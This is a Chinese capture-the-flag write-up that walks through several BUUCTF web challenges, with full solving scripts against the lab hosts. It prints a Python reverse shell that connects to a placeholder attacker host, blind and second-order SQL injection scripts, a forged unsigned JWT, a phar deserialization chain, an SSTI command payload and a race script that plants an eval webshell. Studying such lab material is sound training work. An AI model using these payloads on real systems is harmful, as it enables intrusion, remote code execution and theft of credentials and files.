BUUCTF Web Writeup 6

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2023年12月15日21:11:37评论15 views字数 30645阅读102分9秒阅读模式

BUUCTF 刷题记录…

存在文件包含

http://cn-sec.com/wp-content/uploads/2023/12/20231215114701-15.png

其实是非预期了… 题目环境有点问题

真正的做法是利用 proc 中的 cmdline 和 fd

参考文章 https://www.anquanke.com/post/id/241148

大致总结一下

/proc/self/cmdline 启动当前进程的完整命令
/proc/self/cwd/ 指向当前进程的运行目录
/proc/self/exe 指向启动当前进程的可执行文件
/proc/self/environ 当前进程的环境变量列表
/proc/self/fd/ 当前进程已打开文件的文件描述符

首先通过 cmdline 读取执行的命令

http://cn-sec.com/wp-content/uploads/2023/12/20231215114701-15-1.png

这里感觉应该也能够通过 app.py main.py web.py site.py 等关键词来猜测运行的脚本名

读取 app.py

http://cn-sec.com/wp-content/uploads/2023/12/20231215114702-4.png

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

/no_one_know_the_manager 路由中可以通过 os.system 无回显执行命令, 但是要验证 secret key

secret key 在 /tmp/secret.txt 里面, 并且读取之后利用 os.remove 删除了文件

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)

注意程序使用 open 来读取文件, 但是在删除之后并没有执行 close 方法

根据上面的参考文章可知 secret.txt 的文件描述符依然存在于 /proc/self/fd 中, 于是我们通过该目录来获取文件内容

http://cn-sec.com/wp-content/uploads/2023/12/20231215114702-99.png

id 试到 3 时出来了一串字符, 猜测为 secret key

http://cn-sec.com/wp-content/uploads/2023/12/20231215114702-10.png

最后反弹 shell

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("x.x.x.x",yyyy));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'

http://cn-sec.com/wp-content/uploads/2023/12/20231215114703-74.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215114703-68.png

robots.txt

http://cn-sec.com/wp-content/uploads/2023/12/20231215114703-86.png

根据右键源代码得知有 user.php image.php index.php 三个文件

试到 image.php.bak 时发现能下载

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

登录的地方没发现 sql 注入, 也没有弱口令, 问题只能出在 image.php 上

两次 str_replace 过滤单双引号等字符, 其中过滤的 \0 感觉不太对劲

本地试了下, 如果输入 \0, 被 addslashes 转义之后就是 \\0, 之后被 replace 成 \, 这样就可以使得后面跟着的单引号逃逸出来

http://cn-sec.com/wp-content/uploads/2023/12/20231215114703-1.png

程序后面的 readfile 是依据 $row["path"] 来读取文件的, 于是尝试用 union 构造数据

id=123\0&path=+union+select+1,0x757365722e706870+#

读取 user.php

http://cn-sec.com/wp-content/uploads/2023/12/20231215114703-81.png

读取 config.php 和 ../../../../flag 都不行, 看了下网站上的 image.php 发现被过滤了

http://cn-sec.com/wp-content/uploads/2023/12/20231215114704-46.png

那么只有 sql 注入一条路了

简单盲注无任何过滤, 脚本如下

import requests
import time

url = 'http://03e9b380-2c82-4b43-b760-4157d9a13c20.node4.buuoj.cn:81/image.php'

dicts = r'{}_,AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'

flag = ''

for i in range(1,99999):
    for s in dicts:
        time.sleep(0.2)
        params = {
        'id': '1\\0',
        'path': 'and if(ascii(substr((select group_concat(username,0x2c,password) from users),{},1))={},1,0) #'.format(i,ord(s))
        }
        print(s)
        res = requests.get(url, params=params)
        if len(res.text) >100:
            flag += s
            print('FOUND!!!',flag)
            break

md5 解不出来, 回过头看 index.php 的时候发现对传入 password 压根就没有 md5 加密…

于是拿着 md5 直接登录

http://cn-sec.com/wp-content/uploads/2023/12/20231215114704-74.png

有一处上传, 配合 sql 注入去读取 upload.php

正则明明过滤了却还能读到, 很奇怪…

http://cn-sec.com/wp-content/uploads/2023/12/20231215114704-100.png

上传时把 filename 改成 php 代码

http://cn-sec.com/wp-content/uploads/2023/12/20231215114704-85.png

访问 log 文件

http://cn-sec.com/wp-content/uploads/2023/12/20231215114704-39.png

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
    $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir  = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

题目名称是 ssrf, 但是这里存在 file_put_contents, filename 也没有过滤

vps 挂着 php 代码, 然后通过 GET 命令下载到网站上另存为 a.php

http://cn-sec.com/wp-content/uploads/2023/12/20231215114704-61.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215114705-30.png

执行根目录下的 readflag 得到 flag

http://cn-sec.com/wp-content/uploads/2023/12/20231215114705-17.png

然后看 wp 的时候发现自己又非预期了…

正确的思路是利用 perl open 函数的命令执行漏洞来 getshell

参考文章 https://lorexxar.cn/2017/11/10/hitcon2017-writeup/

这里就不写了

http://cn-sec.com/wp-content/uploads/2023/12/20231215114705-31.png

session 的值是 base64

http://cn-sec.com/wp-content/uploads/2023/12/20231215114705-92.png

改完 money 后重新编码一次, 然后购买 flag

x4eer3ubvhu.png

flag 在 cookie 里

a5dw2nhwasu.png

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

简单代码执行, payload 如下

http://72a9085b-f56b-4fb4-b464-5c88c8f806af.node4.buuoj.cn:81/?action=upload&data=<?=`ls\$IFS\$9/`?>

nqq42hxx4x4.png

查看 flag

http://72a9085b-f56b-4fb4-b464-5c88c8f806af.node4.buuoj.cn:81/?action=upload&data=<?=`cat</flllllll1112222222lag`?>

跟着源代码一直走

// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
  for (var i = 0; i < key.length; i++) {
    let n = key.charCodeAt(i) % flag.length;
    let temp = flag[i];
    flag[i] = flag[n];
    flag[n] = temp;
  }
  return flag;
}

function check_action() {
  var action = document.getElementById("action").value;
  var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];

  // TODO: unscramble function
}

随便拼接一下

pctf{hey_boys_im_baaaaaaaaaack!}

kelwfthchr3.png

右键查看源代码, 发现 app.js

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置？不管了先填个根目录XD
 */

function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

感觉注释不太对劲, 猜测可能会有源码泄露

搜了一下发现 koa 是基于 nodejs 的 web 框架, 目录结构如下

cnkqcxkbyq1.png

访问 app.js

const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');

const crypto = require('crypto');
const { resolve } = require('path');

const rest = require('./rest');
const controller = require('./controller');

const PORT = 3000;
const app = new Koa();

app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];

app.use(static(resolve(__dirname, '.')));

app.use(views(resolve(__dirname, './views'), {
  extension: 'pug'
}));

app.use(session({key: 'sses:aok', maxAge: 86400000}, app));

// parse request body:
app.use(bodyParser());

// prepare restful service
app.use(rest.restify());

// add controllers:
app.use(controller());

app.listen(PORT);
console.log(`app started at port ${PORT}...`);

/controllers/api.js

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

估计是考察 jwt 安全, 首先试试看把加密算法设置为空能不能成功

先注册一个用户让 secretid 填充到 global.secrets 数组内, 方便后续绕过

然后在 sessionStorage 中查看 token

zkqctvqwlgk.png

注意一下 if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) 的绕过

javascript 也是一种弱类型语言, 不同类型进行比较时也会有类型转换

ow3gfhertak.png

这里用 0e123 来绕过, 其实用空数组也可以

最后构造 payload

import time
import jwt

info = {'iat': int(time.time()),
    "secretid": "0e123",
    "username": "admin",
    "password": "admin"}

token = jwt.encode(info,key="",algorithm="none")

print(token)

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpYXQiOjE2NjYxNjQ3MzcsInNlY3JldGlkIjoiMGUxMjMiLCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiJ9.

登录, 比较顺利

cl13nfplkik.png

qp2hkcyf3zm.png

查看 flag

zjgvq0zzfwm.png

sql 注入, 过滤了 and or case when if time benchmark 等等

不过注入点是整数型的, 可以直接在 id 处放表达式

本地测试如下

mysql> select * from users where id=(length(user())=0);
Empty set (0.00 sec)

mysql> select * from users where id=(length(user())<0);
Empty set (0.00 sec)

mysql> select * from users where id=(length(user())>0);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

twaiv15enkv.png

5rbnmz0lu1a.png

information_schema 被过滤了, 因为含有 or

恰好 mysql 版本为 5.7, 于是利用 sys 库中的表来跑表名

(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),1,1))='f')

列名跑不了, 尝试无列名注入, 这里用 ascii 比较盲注

基本形式如下, 列数是手工试出来的

((select 1,'f')>(select * from f1ag_1s_h3r3_hhhhh))

当然这个 payload 目前还有点问题, 比如不能区分大小写 (binary 含有 in 被过滤了)

(绕过 binary 过滤来区分大小写的参考文章 https://nosec.org/home/detail/3830.html)

不过对于本题读取 flag 来说是不影响的

import requests
import time

url = 'http://51adf432-9f40-474e-bd18-cfb31b37f4c3.node4.buuoj.cn:81/index.php'

#dicts = r'{}_,.-0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz'
dicts = r'-0123456789abcdefgl{}'

flag = ''

for i in range(1,99999):
    for s in dicts:
        time.sleep(0.2)
        #payload = '(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={})'.format(i, ord(s))
        payload = "((select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag + s)
        print(s)
        res = requests.post(url,data={'id':payload})
        if 'Nu1L' in res.text:
            flag += dicts[dicts.index(s) -1]
            print('FOUND!!!',flag)
            break

注意 dicts 中的字符要按 ascii 顺序排列

题目思路很新奇, 最后是看了 wp 才完整的做出来的…

4abci5fpngz.png

/js/panel.js

kkr2231aczb.png

暗示有 git 仓库, 并且文件在暂存区, 也就是 add 了但是没有 commit

留言板需要登陆

4i1brabmped.png

这里看到默认已经填了一个用户 zhangwei/zhangwei***, *** 感觉可能是数字

于是用 burp intruder 爆破, 结果是 zhangwei/zhangwei666

githacker 获取 git 仓库

erx4kdzuvzm.png

write_do.php

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

文件内容不全, 于是用 git log --reflog 查看改动记录

z2lx35piirs.png

文件被暂存到 stash 了, 用 git stash pop 恢复工作区

ezqesn0qlmz.png

完整内容如下

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

case 为 write 时, post 提交的内容都经过了 addslashes, 但是 comment 的时候却直接从数据库中取出 category 的内容拼接到 sql 语句中, 因此 category 这里存在二次注入

这里比较坑的点在于 comment 时的 sql

$sql = "insert into comment
        set category = '$category',
            content = '$content',
            bo_id = '$bo_id'";

因为是多行, 所以注释要用 /**/, 而且单行注释仅能注释该行后面的内容, 对于下一行是没有影响的

o4d1rrucjd4.png

write 时构造 payload

category=1',content=(select user()),/*

comment 时构造 payload

content=*/#

0umiuptqjl2.png

fxm2p4tzm4c.png

2p3rpqhojk3.png

然后组合成 python 脚本

import requests
import re

cookies = {
    'PHPSESSID': 'rd6h57gjrcu2pi6ujp1k4g7uc6'
}

def post(sql):
    data = {
    'title': '123',
    'category': "1',content=(" + sql + "), /*",
    'content': '123'
    }
    _ = requests.post('http://7017a807-8655-4192-856c-4a8b3638f244.node4.buuoj.cn:81/write_do.php?do=write',data=data, cookies=cookies)

def getid():
    res = requests.get('http://7017a807-8655-4192-856c-4a8b3638f244.node4.buuoj.cn:81/', cookies=cookies)
    id_list = re.findall('value=\'(.*)\'', res.text)
    return id_list[-1]


def comment(bo_id):
    data = {
    'content': '*/#',
    'bo_id': bo_id
    }
    _ = requests.post('http://7017a807-8655-4192-856c-4a8b3638f244.node4.buuoj.cn:81/write_do.php?do=comment',data=data, cookies=cookies)
    res = requests.get('http://7017a807-8655-4192-856c-4a8b3638f244.node4.buuoj.cn:81/comment.php?id=' + bo_id, cookies=cookies)
    res.encoding = "utf-8"
    print(re.findall(r'留言<\/label><div class="col-sm-5"><p>([\s\S]*)<\/p><\/div>', res.text)[0])

sql = "select concat(database(),',',version(),',',user())"
post(sql)
comment(getid())

kaxzozxngld.png

读取 /etc/passwd

djjn05a0afs.png

www 用户的 home 目录一般都是 /var/www, 而这里是 /home/www, 感觉不太对劲

尝试读取 /home/www/.bash_history

tlqqcfqdnyz.png

注意到 .DS_Store, 该文件是 macos 生成的隐藏文件, 可能会泄露当前目录的相关信息, 例如目录下所有文件的文件名

这里删除了 /var/www/html/ 下的 .DS_Store, 但是 /tmp/html 下的还在

首先利用 load_file + hex 读取该文件

select hex(load_file('/tmp/html/.DS_Store'))

然后本地再转成二进制文件

select unhex(load_file('d:/hex.txt')) into dumpfile 'd:/DS_Store'

最后用工具读取

https://github.com/gehaxelt/Python-dsstore

0ad1yde3ulh.png

读取 flag_8946e1ff1ee3e40f.php 得到 flag

ti5pirwxgh3.png

简单 phar 反序列化

u30yhwmtcyc.png

查看文件处有文件读取

http://96c57946-ef6a-4e1b-8ad0-47294a76515a.node4.buuoj.cn:81/file.php?file=

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?>

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?>

payload

<?php

class C1e4r
{
    public $test;
    public $str;

}

class Show
{
    public $source;
    public $str;

}
class Test
{
    public $file;
    public $params;

}


$c = new Test();
$c->params = Array("source"=>"/var/www/html/f1ag.php");

$b = new Show();
$b->str = Array("str"=>$c);

$a = new C1e4r();
$a->str = $b;

$phar =new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("GIF89A<?php XXX __HALT_COMPILER(); ?>");
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

最后注意一下上传后保存的文件名为 md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg", 网页右上角可以看到 remote addr

1ufyqr1cd3w.png

try to make the sqlquery have its own results

rl5ndlkrcjj.png

robots.txt 里可以看到 hint.txt, 内容如下

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

select 被过滤了, 基本上是查不出什么数据 (表名, 列名)

猜测是通过反斜杠逃逸单引号然后用万能密码

hzjvwxynr41.png

passwd 可以填 ||1 来实现万能密码, 但是单引号的闭合是个问题, # --+ %00 都被过滤了

看了 wp 发现闭合方式用的是 ;%00, %00 截断的条件如下

php < 5.3.4, 且 magic_quotes_gpc = Off 时可进行 %00 截断

但是 X-Powered-By 里的 php 版本是 5.6.40, 很奇怪…

payload 如下

username=123\&passwd=||1;%00

hub5cmjsrs1.png

之后会跳转到 welcome.php, 但是这个文件并不存在

想了想根据 hint 的提示, 那只能去弄出 admin 的 password

发现黑名单中没有 regexp, 恰好双引号也没被过滤, 于是尝试利用 regexp 来注入

password 的字段猜测就为 passwd (与 post 提交的参数名一致)

python 脚本如下

import requests
import time

url = 'http://edee5920-a1cf-4615-b4fb-81e7e628618c.node4.buuoj.cn:81/index.php'

dicts = '_0123456789abcdefghijklmnopqrstuvwxyz'

headers = {
    "Content-Type":"application/x-www-form-urlencoded"
}

flag = ''

for i in range(1, 99999):
    for s in dicts:
        time.sleep(0.2)
        payload = '/**/||/**/passwd/**/regexp/**/"^{}";%00'.format(flag + s)
        print(s)
        res = requests.post(url,data='username=123\\&passwd=' + payload, headers=headers, allow_redirects=False)
        if 'alert(' not in res.text:
            flag += s
            print('FOUND!!!',flag)
            break

跑出来结果是 you_will_never_know7788990

提交后得到 flag

f1bzmmxt4uk.png

简单 ssti

http://011d25fa-762b-4cd9-a1d8-b4dd5b395707.node4.buuoj.cn:81/?name={{config.__class__.__init__.__globals__['os']['popen']('cat flag.txt').read()}}

dahld5g1e4z.png

4dawftwlush.png

发现 hash 会随着用户名改变而改变, 然后根据下面的注释将 hash 填到 pass 里重新提交

e24mubm0nf0.png

riurr2uwole.png

文件包含, 试了下常规的日志路径都不行, 于是尝试利用 session_upload_progress 进行包含

import threading
import requests

target = 'http://1bc9083e-6533-47ba-8a6c-3edc3b051e00.node4.buuoj.cn:81/flflflflag.php'
flag = 'hello'

def upload():
    files = [
        ('file', ('xx.txt', 'xxx'*10240)),
    ]
    data = {'PHP_SESSION_UPLOAD_PROGRESS': "<?php file_put_contents('/tmp/xzxzxz', '<?php eval($_REQUEST[1]);phpinfo();?>');?>"}

    while True:
        res = requests.post(
            target,
            data=data,
            files=files,
            cookies={'PHPSESSID': flag},
        )

def write():
    while True:
        response = requests.get(
            f'{target}?file=/tmp/sess_{flag}',
        )
        print('write',response.text)
        if 'phpinfo' in response.text:
            print('success')

for i in range(2):
    t1 = threading.Thread(target=upload)
    t2 = threading.Thread(target=write)
    t1.start()
    t2.start()

rv32hnvws21.png

system 等函数被禁用了, flag 在 phpinfo 里

bjosm5ws0ej.png

看 wp 的时候发现自己非预期了… 预期解是利用 php://filter 的过滤器让 php 进程崩溃, 然后在 dir.php 下能够看到 /tmp 目录下的临时文件名称, 最后通过包含临时文件来 getshell

参考文章

https://www.cnblogs.com/tr1ple/p/11301743.html

https://www.cnblogs.com/linuxsec/articles/11278477.html

php < 7.2: php://filter/string.strip_tags/resource=/etc/passwd

php7 老版本通杀: php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

脚本如下

import threading
import requests

files = [
    ('file', ('xx.txt', '<?php phpinfo();?>')),
]

res = requests.post('http://e5352e08-ad57-4efe-a721-01303b3e75db.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd',files=files)

print(res.text)

访问 dir.php

bkx2lycsxfm.png

最后包含该临时文件

ffqss4nvk3a.png

query.php

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

json decode 时会自动把 \u 开头的 Unicode 或者 \x 开头的 hex 转换为正常的字符串

在线工具 https://tool.chinaz.com/tools/native_ascii.aspx

代码同时也对 content 做了过滤, 这里自然而然就想到了 php://filter + base64 绕过

{"page": "\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0072\u0065\u0061\u0064\u003d\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}

br1spmjyijb.png

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

限制挺猛的… 看的 wp

[https://github.com/team-su/SUCTF-2019/blob/master/Web/easyweb/wp/SUCTF 2019 Easyweb.md](https://github.com/team-su/SUCTF-2019/blob/master/Web/easyweb/wp/SUCTF 2019 Easyweb.md)

思路是利用可变变量 ${$a} + $_GET 跳出长度限制, 然后上传 .htaccess 配合 php.ini 中的设置 + php://filter 过滤器绕过内容检测

这里有个知识点: 字符与 0xff 异或相当于自身取反

构造 payload (刚好 18 字符)

${%A0%B8%BA%AB^%ff%ff%ff%ff}{%ff}();&%ff=phpinfo

其中 %A0%B8%BA%AB 就是 _GET 取反后的结果, 然后通过可变变量变成 $_GET

注意 get 传参的参数也得是不可见字符

zthvjjgoczv.png

